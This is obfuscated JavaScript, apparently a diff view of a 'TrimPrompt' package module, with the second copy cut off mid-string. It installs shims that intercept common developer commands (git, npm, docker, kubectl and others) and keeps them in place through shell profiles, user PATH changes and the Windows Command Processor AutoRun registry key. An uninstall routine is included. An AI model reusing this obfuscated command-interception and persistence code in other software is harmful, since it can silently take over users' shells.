_0xb05b98=a0_0x256c;if(_0x259388&&_0x259388[_0xb05b98(0x15e)])return _0x259388;var _0x465a95={};if(_0x259388!=null){for(var _0x24398a=_0x3b94bb(_0x259388),_0x4ddfec=0x0;_0x4ddfec<_0x24398a[_0xb05b98(0x182)];_0x4ddfec++)if(_0x24398a[_0x4ddfec]!==_0xb05b98(0x196))__createBinding(_0x465a95,_0x259388,_0x24398a[_0x4ddfec]);}return __setModuleDefault(_0x465a95,_0x259388),_0x465a95;};}());Object[a0_0x57829a(0x1a0)](exports,a0_0x57829a(0x15e),{'value':!![]}),exports[a0_0x57829a(0x16d)]=installShims,exports[a0_0x57829a(0x17a)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x57829a(0x190),a0_0x57829a(0x159),a0_0x57829a(0x160),a0_0x57829a(0x175),'rg',a0_0x57829a(0x192),a0_0x57829a(0x14e),'gh','glab',a0_0x57829a(0x135),a0_0x57829a(0x16e),a0_0x57829a(0x1a3),a0_0x57829a(0x156),a0_0x57829a(0x139),a0_0x57829a(0x18d),'docker',a0_0x57829a(0x181),a0_0x57829a(0x166),a0_0x57829a(0x13e),'go','find'],PROFILE_MARKER=a0_0x57829a(0x194);function getExecSync(){const _0x7a0d1f=a0_0x57829a;return require(_0x7a0d1f(0x183))['execSync'];}function getExecFileSync(){const _0xc2bfa2=a0_0x57829a;return require(_0xc2bfa2(0x183))[_0xc2bfa2(0x15f)];}function ensureProfileContains(_0x46c42f,_0x1538ff,_0x14dade){const _0x7079af=a0_0x57829a;try{const _0xf8b989=path[_0x7079af(0x162)](_0x46c42f);!fs[_0x7079af(0x193)](_0xf8b989)&&fs['mkdirSync'](_0xf8b989,{'recursive':!![]});if(fs['existsSync'](_0x46c42f)){const _0x17042b=fs[_0x7079af(0x132)](_0x46c42f,_0x7079af(0x171));if(_0x17042b['includes'](_0x1538ff))return;fs[_0x7079af(0x1aa)](_0x46c42f,_0x14dade,_0x7079af(0x171));}else fs[_0x7079af(0x14f)](_0x46c42f,_0x14dade,'utf8');}catch{}}function removeProfileBlock(_0x3fa487,_0x33b423){const _0x4bc5c2=a0_0x57829a;try{if(!fs[_0x4bc5c2(0x193)](_0x3fa487))return;const _0x4b9690=fs[_0x4bc5c2(0x132)](_0x3fa487,_0x4bc5c2(0x171));if(!_0x4b9690[_0x4bc5c2(0x17b)](_0x33b423))return;const _0x18cbe3=_0x4b9690[_0x4bc5c2(0x14c)]('\x0a'),_0x44b1e4=[];let _0x571c18=![];for(let _0x333270=0x0;_0x333270<_0x18cbe3[_0x4bc5c2(0x182)];_0x333270++){if(_0x18cbe3[_0x333270][_0x4bc5c2(0x17b)](_0x33b423)){_0x571c18=!![];continue;}if(_0x571c18){_0x571c18=![];continue;}_0x44b1e4[_0x4bc5c2(0x137)](_0x18cbe3[_0x333270]);}const _0x194ac4=_0x44b1e4[_0x4bc5c2(0x15a)]('\x0a')[_0x4bc5c2(0x13d)](/\n{3,}/g,'\x0a\x0a');fs[_0x4bc5c2(0x14f)](_0x3fa487,_0x194ac4,_0x4bc5c2(0x171));}catch{}}function collectPowerShellProfiles(){const _0x5e5b77=a0_0x57829a,_0x32a644=getExecSync(),_0x155a90=[],_0x3c9d94=[[_0x5e5b77(0x161),'$PROFILE.CurrentUserCurrentHost'],[_0x5e5b77(0x161),_0x5e5b77(0x17f)]];try{_0x32a644(_0x5e5b77(0x173),{'stdio':_0x5e5b77(0x149)}),_0x3c9d94['push'](['pwsh',_0x5e5b77(0x17f)]);}catch{}for(const [_0x41c2db,_0x3a02b7]of _0x3c9d94){try{const _0x35f023=_0x32a644(_0x41c2db+_0x5e5b77(0x144)+_0x3a02b7+'\x22',{'encoding':_0x5e5b77(0x171)})['trim']();_0x35f023&&!_0x155a90['some'](_0xe721be=>_0xe721be[_0x5e5b77(0x147)]()===_0x35f023[_0x5e5b77(0x147)]())&&_0x155a90[_0x5e5b77(0x137)](_0x35f023);}catch{}}return _0x155a90;}function getBashProfilesWindows(){const _0x228cfc=a0_0x57829a,_0x20f825=os['homedir']();return[_0x228cfc(0x167),'.bash_profile'][_0x228cfc(0x18a)](_0x16d745=>path['join'](_0x20f825,_0x16d745));}function getBroadcastCommand(){const _0x4aa743=a0_0x57829a;return _0x4aa743(0x146);}function installShims(){const _0x8dd96f=a0_0x57829a,_0x13a3fb=path['join'](os[_0x8dd96f(0x16b)](),'.trimprompt',_0x8dd96f(0x16f));try{!fs['existsSync'](_0x13a3fb)&&fs['mkdirSync'](_0x13a3fb,{'recursive':!![]});const _0x329890=os['platform']()===_0x8dd96f(0x19e);for(const _0x64014a of SHIMMED_COMMANDS){if(_0x329890){const _0x30ef1f=path[_0x8dd96f(0x15a)](_0x13a3fb,_0x64014a+_0x8dd96f(0x180)),_0x2d5a40=process.env.APPDATA?path[_0x8dd96f(0x15a)](process.env.APPDATA,_0x8dd96f(0x16e)):'',_0xe9e7bf=_0x2d5a40?_0x8dd96f(0x179)+path['join'](_0x2d5a40,_0x8dd96f(0x18e))+'\x22':_0x8dd96f(0x140),_0x3fd670=['@echo\x20off',_0xe9e7bf+'\x20(',_0x8dd96f(0x163)+_0x64014a+_0x8dd96f(0x15c),')\x20else\x20(',_0x8dd96f(0x172)+_0x13a3fb+_0x8dd96f(0x141),'\x20\x20'+_0x64014a+'\x20%*',')'][_0x8dd96f(0x15a)]('\x0d\x0a')+'\x0d\x0a';fs[_0x8dd96f(0x14f)](_0x30ef1f,_0x3fd670,'utf8');const _0x19c0d4=path[_0x8dd96f(0x15a)](_0x13a3fb,_0x64014a+_0x8dd96f(0x19d)),_0x4c11e6=_0x8dd96f(0x188)+_0x64014a+_0x8dd96f(0x150)+_0x64014a+'\x20@args\x20}\x0a';fs['writeFileSync'](_0x19c0d4,_0x4c11e6,_0x8dd96f(0x171));const _0xd69a12=path[_0x8dd96f(0x15a)](_0x13a3fb,_0x64014a),_0x58623c=_0x13a3fb[_0x8dd96f(0x13d)](/\\/g,'/')[_0x8dd96f(0x13d)](/^([A-Za-z]):/,(_0x77b197,_0x288e82)=>'/'+_0x288e82['toLowerCase']()),_0xeeaaba=_0x8dd96f(0x199)+_0x64014a+_0x8dd96f(0x165)+_0x58623c+_0x8dd96f(0x145)+_0x64014a+_0x8dd96f(0x1a4);fs[_0x8dd96f(0x14f)](_0xd69a12,_0xeeaaba,_0x8dd96f(0x171));}else{const _0x477261=path[_0x8dd96f(0x15a)](_0x13a3fb,_0x64014a),_0x409205=_0x8dd96f(0x199)+_0x64014a+_0x8dd96f(0x19f)+_0x64014a+_0x8dd96f(0x1a4);fs[_0x8dd96f(0x14f)](_0x477261,_0x409205,_0x8dd96f(0x171)),fs[_0x8dd96f(0x1a6)](_0x477261,_0x8dd96f(0x14b));}}let _0x524f13=![],_0x183f60='';if(_0x329890)try{const _0x54bfc3=getExecSync(),_0x295293=_0x8dd96f(0x195)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x13a3fb+_0x8dd96f(0x186),_0x8706b6=collectPowerShellProfiles();for(const _0x3dacfb of _0x8706b6){ensureProfileContains(_0x3dacfb,_0x13a3fb,_0x295293);}try{const _0x3bbb42=getExecFileSync(),_0x27d26e=_0x8dd96f(0x179)+_0x13a3fb+_0x8dd96f(0x19c)+_0x13a3fb+_0x8dd96f(0x176),_0x5d5f6d=_0x8dd96f(0x138);let _0x18e48e='';try{const _0x33b469='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x5d5f6d+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x18e48e=_0x3bbb42('powershell.exe',[_0x8dd96f(0x134),_0x8dd96f(0x13f),_0x33b469],{'encoding':_0x8dd96f(0x171),'stdio':[_0x8dd96f(0x15d),_0x8dd96f(0x15d),_0x8dd96f(0x149)]})[_0x8dd96f(0x184)]();}catch{}if(!_0x18e48e[_0x8dd96f(0x17b)](_0x13a3fb)){const _0x2d12b0=_0x18e48e?_0x18e48e+'\x20&\x20'+_0x27d26e:_0x27d26e,_0x5cec9c=_0x8dd96f(0x1a2)+_0x5d5f6d+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5d5f6d+_0x8dd96f(0x198)+_0x2d12b0+'\x27';_0x3bbb42(_0x8dd96f(0x142),[_0x8dd96f(0x134),_0x8dd96f(0x13f),_0x5cec9c],{'stdio':'ignore'});}}catch{}try{const _0x1cdfc4=_0x13a3fb['replace'](/\\/g,'/')[_0x8dd96f(0x13d)](/^([A-Za-z]):/,(_0x1c8e11,_0x146c93)=>'/'+_0x146c93['toLowerCase']()),_0x1dabea=_0x8dd96f(0x195)+PROFILE_MARKER+_0x8dd96f(0x155)+_0x1cdfc4+_0x8dd96f(0x177),_0x394257=getBashProfilesWindows();let _0x552f7a=![];for(const _0x111fc5 of _0x394257){fs[_0x8dd96f(0x193)](_0x111fc5)&&(ensureProfileContains(_0x111fc5,_0x1cdfc4,_0x1dabea),_0x552f7a=!![]);}!_0x552f7a&&ensureProfileContains(_0x394257[0x0],_0x1cdfc4,_0x1dabea);}catch{}const _0x5e3f21=_0x8dd96f(0x191),_0x5747ac=_0x54bfc3(_0x8dd96f(0x15b)+_0x5e3f21+'\x22',{'encoding':_0x8dd96f(0x171),'stdio':[_0x8dd96f(0x15d),_0x8dd96f(0x15d),_0x8dd96f(0x149)]})[_0x8dd96f(0x184)]();if(!_0x5747ac['includes'](_0x13a3fb)){const _0x55c8c6=_0x13a3fb+';'+_0x5747ac,_0x1d2ab0=_0x55c8c6[_0x8dd96f(0x13d)](/'/g,'\x27\x27'),_0x10816e=_0x8dd96f(0x189)+_0x1d2ab0+'\x27,\x20\x27User\x27)';_0x54bfc3(_0x8dd96f(0x15b)+_0x10816e+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x8dd96f(0x149)});}const _0x1bd2ef=path[_0x8dd96f(0x15a)](process.env.APPDATA||'',_0x8dd96f(0x16e),_0x8dd96f(0x148));if(fs[_0x8dd96f(0x193)](_0x1bd2ef))try{fs[_0x8dd96f(0x16a)](_0x1bd2ef);}catch{}_0x524f13=!![];}catch(_0x55b5da){_0x183f60=_0x8dd96f(0x153)+_0x13a3fb;}else try{const _0x16812b='export\x20PATH=\x22'+_0x13a3fb+_0x8dd96f(0x177),_0x3c0224=os['homedir'](),_0x15dc77=[_0x8dd96f(0x167),'.zshrc',_0x8dd96f(0x13a),_0x8dd96f(0x18c)];let _0x13f348=![];for(const _0x38ca5a of _0x15dc77){const _0x430c04=path[_0x8dd96f(0x15a)](_0x3c0224,_0x38ca5a);fs[_0x8dd96f(0x193)](_0x430c04)&&(ensureProfileContains(_0x430c04,_0x13a3fb,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x16812b),_0x13f348=!![]);}if(!_0x13f348){const _0x2d9674=path[_0x8dd96f(0x15a)](_0x3c0224,'.bashrc');ensureProfileContains(_0x2d9674,_0x13a3fb,_0x8dd96f(0x195)+PROFILE_MARKER+'\x0a'+_0x16812b);}_0x524f13=!![];}catch(_0x516ccd){_0x183f60=_0x8dd96f(0x185)+_0x13a3fb+':$PATH\x22';}const _0x1faacf=_0x8dd96f(0x158)+SHIMMED_COMMANDS['length']+'\x20commands.\x0a\x0a',_0x2a1116=_0x524f13?_0x1faacf+_0x8dd96f(0x131):_0x1faacf+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x183f60;return{'success':!![],'pathDir':_0x13a3fb,'message':_0x2a1116};}catch(_0x12e253){return{'success':![],'pathDir':_0x13a3fb,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x12e253['message']};}}function a0_0x456b(){const _0x2fe31d=['\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','tree','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','ruff','existsSync','TrimPrompt\x20Shims\x20PATH','\x0a#\x20','default','221052FIinMc','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','.trimprompt','Set-ItemProperty\x20-Path\x20\x27','\x22\x20set\x20\x22PATH=','.ps1','win32','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','defineProperty','rmdirSync','New-Item\x20-Path\x20\x27','pnpm','\x20\x22$@\x22;\x20fi\x0a','call','chmodSync','getOwnPropertyDescriptor','readdirSync','9UktvyD','appendFileSync','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','readFileSync','3588100vAKQal','-NoProfile','cargo','configurable','push','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','yarn','.bash_profile','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','__importStar','replace','pip3','-Command','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22',';=%\x22','powershell.exe','__createBinding','\x20-NoProfile\x20-Command\x20\x22',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','toLowerCase','trim.ps1','ignore','writable','755','split','platform','git','writeFileSync','\x20@args\x20}\x20else\x20{\x20&\x20','2saIXNI','filter','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x0aexport\x20PATH=\x22','npx','140RDyTMn','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','cat','join','powershell\x20-NoProfile\x20-Command\x20\x22','\x20%*','pipe','__esModule','execFileSync','read','powershell','dirname','\x20\x20trim\x20','Failed\x20to\x20uninstall\x20shims:\x20','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','pip','.bashrc','Remove-ItemProperty\x20-Path\x20\x27','get','unlinkSync','homedir','7341xQLeEI','installShims','npm','shims','1825476RilXCt','utf8','\x20\x20set\x20\x22PATH=%PATH:','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','.zshrc','grep',';%PATH%\x22',':$PATH\x22\x0a','2355745zlEHXq','if\x20exist\x20\x22','uninstallShims','includes','getOwnPropertyNames','1197981wPomAv','\x20&\x20','$PROFILE.CurrentUserAllHosts','.cmd','pytest','length','child_process','trim','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',';\x22\x20+\x20$env:PATH\x0a','208144qNJJXX','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','map','hasOwnProperty','.profile','kubectl','trim.cmd'];a0_0x456b=function(){return _0x2fe31d;};return a0_0x456b();}function uninstallShims(){const _0x485c7d=a0_0x57829a,_0x1017fa=path[_0x485c7d(0x15a)](os[_0x485c7d(0x16b)](),_0x485c7d(0x19a),_0x485c7d(0x16f)),_0x457407=os[_0x485c7d(0x14d)]()===_0x485c7d(0x19e);try{if(_0x457407){const _0x340943=getExecSync();try{const _0x270da4=getExecFileSync(),_0x1a821d='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x2ef79c='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1a821d+_0x485c7d(0x18f),_0x4adf85=_0x270da4(_0x485c7d(0x142),['-NoProfile','-Command',_0x2ef79c],{'encoding':_0x485c7d(0x171),'stdio':[_0x485c7d(0x15d),_0x485c7d(0x15d),_0x485c7d(0x149)]})[_0x485c7d(0x184)]();if(_0x4adf85[_0x485c7d(0x17b)](_0x1017fa)){const _0x5a77db=_0x4adf85['split'](_0x485c7d(0x17e))[_0x485c7d(0x152)](_0x3ccfb5=>!_0x3ccfb5[_0x485c7d(0x17b)](_0x1017fa));if(_0x5a77db[_0x485c7d(0x182)]===0x0){const _0x21296e=_0x485c7d(0x168)+_0x1a821d+_0x485c7d(0x154);_0x270da4(_0x485c7d(0x142),[_0x485c7d(0x134),_0x485c7d(0x13f),_0x21296e],{'stdio':'ignore'});}else{const _0x51ac8f=_0x5a77db['join']('\x20&\x20'),_0x4bd984=_0x485c7d(0x19b)+_0x1a821d+_0x485c7d(0x198)+_0x51ac8f+'\x27';_0x270da4(_0x485c7d(0x142),[_0x485c7d(0x134),_0x485c7d(0x13f),_0x4bd984],{'stdio':_0x485c7d(0x149)});}}}catch{}try{const _0x33685b=collectPowerShellProfiles();for(const _0x283866 of _0x33685b){removeProfileBlock(_0x283866,PROFILE_MARKER);}}catch{}try{for(const _0x6d362e of getBashProfilesWindows()){removeProfileBlock(_0x6d362e,PROFILE_MARKER);}}catch{}try{const _0x2fa36e='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5c6257=_0x340943(_0x485c7d(0x15b)+_0x2fa36e+'\x22',{'encoding':_0x485c7d(0x171),'stdio':['pipe',_0x485c7d(0x15d),_0x485c7d(0x149)]})[_0x485c7d(0x184)]();if(_0x5c6257['includes'](_0x1017fa)){const _0x2743aa=_0x5c6257[_0x485c7d(0x14c)](';')[_0x485c7d(0x152)](_0x30e9fc=>_0x30e9fc['trim']()['toLowerCase']()!==_0x1017fa[_0x485c7d(0x147)]())[_0x485c7d(0x15a)](';'),_0x3cb7e5=_0x2743aa[_0x485c7d(0x13d)](/'/g,'\x27\x27'),_0xc4b4ce=_0x485c7d(0x189)+_0x3cb7e5+'\x27,\x20\x27User\x27)';_0x340943('powershell\x20-NoProfile\x20-Command\x20\x22'+_0xc4b4ce+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x485c7d(0x149)});}}catch{}}else{const _0x3cf466=os[_0x485c7d(0x16b)](),_0xe1b1e4=[_0x485c7d(0x167),_0x485c7d(0x174),_0x485c7d(0x13a),_0x485c7d(0x18c)];for(const _0x3ddc4e of _0xe1b1e4){removeProfileBlock(path[_0x485c7d(0x15a)](_0x3cf466,_0x3ddc4e),PROFILE_MARKER);}}if(fs[_0x485c7d(0x193)](_0x1017fa)){const _0x4d1e65=fs[_0x485c7d(0x1a8)](_0x1017fa);for(const _0x5ef0c1 of _0x4d1e65){fs[_0x485c7d(0x16a)](path['join'](_0x1017fa,_0x5ef0c1));}fs[_0x485c7d(0x1a1)](_0x1017fa);}return{'success':!![],'message':_0x485c7d(0x13b)};}catch(_0x48d2d7){return{'success':![],'message':_0x485c7d(0x164)+_0x48d2d7['message']};}}
|
|
1
|
+
'use strict';const a0_0x6b55f3=a0_0x52eb;(function(_0x207861,_0x19e0b0){const _0x47a406=a0_0x52eb,_0x3a38ad=_0x207861();while(!![]){try{const _0x449118=-parseInt(_0x47a406(0x17b))/0x1+-parseInt(_0x47a406(0x177))/0x2*(-parseInt(_0x47a406(0x153))/0x3)+parseInt(_0x47a406(0x157))/0x4+-parseInt(_0x47a406(0x154))/0x5+parseInt(_0x47a406(0x19b))/0x6+-parseInt(_0x47a406(0x155))/0x7*(parseInt(_0x47a406(0x14f))/0x8)+-parseInt(_0x47a406(0x15d))/0x9*(parseInt(_0x47a406(0x1b3))/0xa);if(_0x449118===_0x19e0b0)break;else _0x3a38ad['push'](_0x3a38ad['shift']());}catch(_0x469f03){_0x3a38ad['push'](_0x3a38ad['shift']());}}}(a0_0x588f,0x62bc5));var __createBinding=this&&this[a0_0x6b55f3(0x17e)]||(Object['create']?function(_0x5388e6,_0x10c9a6,_0x18b73e,_0x530a19){const _0x4c7505=a0_0x6b55f3;if(_0x530a19===undefined)_0x530a19=_0x18b73e;var _0x4cacdf=Object['getOwnPropertyDescriptor'](_0x10c9a6,_0x18b73e);(!_0x4cacdf||(_0x4c7505(0x16f)in _0x4cacdf?!_0x10c9a6[_0x4c7505(0x161)]:_0x4cacdf[_0x4c7505(0x172)]||_0x4cacdf[_0x4c7505(0x1a9)]))&&(_0x4cacdf={'enumerable':!![],'get':function(){return _0x10c9a6[_0x18b73e];}}),Object[_0x4c7505(0x1c1)](_0x5388e6,_0x530a19,_0x4cacdf);}:function(_0x2430f3,_0x5d9acb,_0x4a42e1,_0x25e8d1){if(_0x25e8d1===undefined)_0x25e8d1=_0x4a42e1;_0x2430f3[_0x25e8d1]=_0x5d9acb[_0x4a42e1];}),__setModuleDefault=this&&this[a0_0x6b55f3(0x19a)]||(Object[a0_0x6b55f3(0x182)]?function(_0x4d0f11,_0x4d3fd9){const _0xf2bfa6=a0_0x6b55f3;Object[_0xf2bfa6(0x1c1)](_0x4d0f11,_0xf2bfa6(0x169),{'enumerable':!![],'value':_0x4d3fd9});}:function(_0x40c2df,_0x6131dc){_0x40c2df['default']=_0x6131dc;}),__importStar=this&&this['__importStar']||(function(){var _0x1aee5c=function(_0x3d5abb){const _0x16d9bd=a0_0x52eb;return _0x1aee5c=Object[_0x16d9bd(0x1c3)]||function(_0x58e076){const _0x3545d4=_0x16d9bd;var _0x152d50=[];for(var _0x54265c in _0x58e076)if(Object[_0x3545d4(0x185)][_0x3545d4(0x15b)][_0x3545d4(0x180)](_0x58e076,_0x54265c))_0x152d50[_0x152d50[_0x3545d4(0x179)]]=_0x54265c;return _0x152d50;},_0x1aee5c(_0x3d5abb);};return function(_0x593da4){const _0x6277c=a0_0x52eb;if(_0x593da4&&_0x593da4[_0x6277c(0x161)])return _0x593da4;var _0x5b38e8={};if(_0x593da4!=null){for(var _0xd4ae1f=_0x1aee5c(_0x593da4),_0xdbc4a=0x0;_0xdbc4a<_0xd4ae1f['length'];_0xdbc4a++)if(_0xd4ae1f[_0xdbc4a]!==_0x6277c(0x169))__createBinding(_0x5b38e8,_0x593da4,_0xd4ae1f[_0xdbc4a]);}return __setModuleDefault(_0x5b38e8,_0x593da4),_0x5b38e8;};}());function a0_0x52eb(_0x3ee980,_0xafd867){_0x3ee980=_0x3ee980-0x14d;const _0x588f82=a0_0x588f();let _0x52eb5d=_0x588f82[_0x3ee980];return _0x52eb5d;}Object[a0_0x6b55f3(0x1c1)](exports,'__esModule',{'value':!![]}),exports['installShims']=installShims,exports[a0_0x6b55f3(0x1ac)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x6b55f3(0x16e))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x6b55f3(0x190),'cat',a0_0x6b55f3(0x19c),a0_0x6b55f3(0x1bc),'rg',a0_0x6b55f3(0x1ae),a0_0x6b55f3(0x17d),'gh',a0_0x6b55f3(0x191),'cargo',a0_0x6b55f3(0x16c),a0_0x6b55f3(0x165),'npx',a0_0x6b55f3(0x196),a0_0x6b55f3(0x1a2),'docker',a0_0x6b55f3(0x184),'pip',a0_0x6b55f3(0x1b6),'go','find'],PROFILE_MARKER=a0_0x6b55f3(0x18b);function getExecSync(){const _0x50b22a=a0_0x6b55f3;return require(_0x50b22a(0x176))[_0x50b22a(0x170)];}function getExecFileSync(){const _0x40aa2d=a0_0x6b55f3;return require('child_process')[_0x40aa2d(0x199)];}function ensureProfileContains(_0x5d00ae,_0x4f2d78,_0x344807){const _0x21d98d=a0_0x6b55f3;try{const _0x405fc4=path[_0x21d98d(0x15e)](_0x5d00ae);!fs[_0x21d98d(0x1a4)](_0x405fc4)&&fs[_0x21d98d(0x178)](_0x405fc4,{'recursive':!![]});if(fs[_0x21d98d(0x1a4)](_0x5d00ae)){const _0x14185e=fs[_0x21d98d(0x1b1)](_0x5d00ae,_0x21d98d(0x1af));if(_0x14185e[_0x21d98d(0x1c0)](_0x4f2d78))return;fs[_0x21d98d(0x1c4)](_0x5d00ae,_0x344807,_0x21d98d(0x1af));}else fs[_0x21d98d(0x1b5)](_0x5d00ae,_0x344807,_0x21d98d(0x1af));}catch{}}function removeProfileBlock(_0x32f509,_0x16801b){const _0x3c8d37=a0_0x6b55f3;try{if(!fs[_0x3c8d37(0x1a4)](_0x32f509))return;const _0x4dc591=fs[_0x3c8d37(0x1b1)](_0x32f509,_0x3c8d37(0x1af));if(!_0x4dc591[_0x3c8d37(0x1c0)](_0x16801b))return;const _0x2d6933=_0x4dc591[_0x3c8d37(0x1a1)]('\x0a'),_0x544c94=[];let _0x285e6c=![];for(let _0x16d863=0x0;_0x16d863<_0x2d6933['length'];_0x16d863++){if(_0x2d6933[_0x16d863][_0x3c8d37(0x1c0)](_0x16801b)){_0x285e6c=!![];continue;}if(_0x285e6c){_0x285e6c=![];continue;}_0x544c94['push'](_0x2d6933[_0x16d863]);}const _0x304dc4=_0x544c94['join']('\x0a')[_0x3c8d37(0x167)](/\n{3,}/g,'\x0a\x0a');fs[_0x3c8d37(0x1b5)](_0x32f509,_0x304dc4,'utf8');}catch{}}function collectPowerShellProfiles(){const _0x4a1bd9=a0_0x6b55f3,_0x403d14=getExecSync(),_0x35af1d=[],_0x24e73e=[['powershell',_0x4a1bd9(0x1be)],[_0x4a1bd9(0x14e),'$PROFILE.CurrentUserAllHosts']];try{_0x403d14('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x4a1bd9(0x15c)}),_0x24e73e[_0x4a1bd9(0x174)]([_0x4a1bd9(0x1b0),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x10b3cd,_0x15ec7a]of _0x24e73e){try{const _0x1cc17f=_0x403d14(_0x10b3cd+_0x4a1bd9(0x1b4)+_0x15ec7a+'\x22',{'encoding':_0x4a1bd9(0x1af)})[_0x4a1bd9(0x1b9)]();_0x1cc17f&&!_0x35af1d[_0x4a1bd9(0x1c5)](_0x200206=>_0x200206[_0x4a1bd9(0x183)]()===_0x1cc17f[_0x4a1bd9(0x183)]())&&_0x35af1d['push'](_0x1cc17f);}catch{}}return _0x35af1d;}function a0_0x588f(){const _0x17066c=['\x20\x22$@\x22;\x20fi\x0a','if\x20exist\x20\x22','26766qIYIMw','2400300wrcDEE','7qgTkTD','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','3136592vzIKZk','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','-Command','\x0a#\x20','hasOwnProperty','ignore','319311yJETkY','dirname','platform','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','__esModule','Remove-ItemProperty\x20-Path\x20\x27','.bashrc','New-Item\x20-Path\x20\x27','pnpm','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','replace','rmdirSync','default','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','npm','.bash_profile','path','get','execSync','.ps1','writable','powershell.exe','push','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','child_process','144zWcKpg','mkdirSync','length','trim.ps1','118850EMluay','\x20@args\x20}\x20else\x20{\x20&\x20','git','__createBinding','powershell\x20-NoProfile\x20-Command\x20\x22','call',';\x22\x20+\x20$env:PATH\x0a','create','toLowerCase','pytest','prototype','\x0aexport\x20PATH=\x22','\x27,\x20\x27User\x27)','chmodSync','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','filter','TrimPrompt\x20Shims\x20PATH','unlinkSync','755','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','-NoProfile','tree','glab','readdirSync','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20